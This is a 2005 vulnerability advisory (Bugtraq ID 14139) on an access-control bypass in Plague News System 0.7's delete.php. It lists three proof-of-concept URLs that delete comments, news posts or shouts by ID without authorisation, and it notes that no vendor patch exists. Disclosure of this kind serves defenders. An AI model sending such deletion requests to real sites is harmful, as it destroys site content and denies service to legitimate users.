Plague News System Delete.PHP Access Restriction Bypass Vulnerability

BID:14139

Info

Plague News System Delete.PHP Access Restriction Bypass Vulnerability

Bugtraq ID: 14139
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 04 2005 12:00AM
Updated: Jul 04 2005 12:00AM
Credit: Discovery of this issue is credited to Easyex.
Vulnerable: FrozenPlague Plague News System 0.7
Not Vulnerable:

Discussion

Plague News System Delete.PHP Access Restriction Bypass Vulnerability

Plague News System is prone to an access restriction bypass vulnerability. The issue exists due to a lack of sanity checks performed by 'delete.php' on deletion requests passed to the script.

A remote attacker may exploit this issue to delete site content and deny service for legitimate users.

Exploit / POC

Plague News System Delete.PHP Access Restriction Bypass Vulnerability

The following examples are available:

http://www.example.com/delete.php?comment=1&id=[ID of comment here]
http://www.example.com/delete.php?news=1&id=[ID of news here]
http://www.example.com/delete.php?shout=1&id=[ID of shout here]

Solution / Fix

Plague News System Delete.PHP Access Restriction Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Plague News System Delete.PHP Access Restriction Bypass Vulnerability

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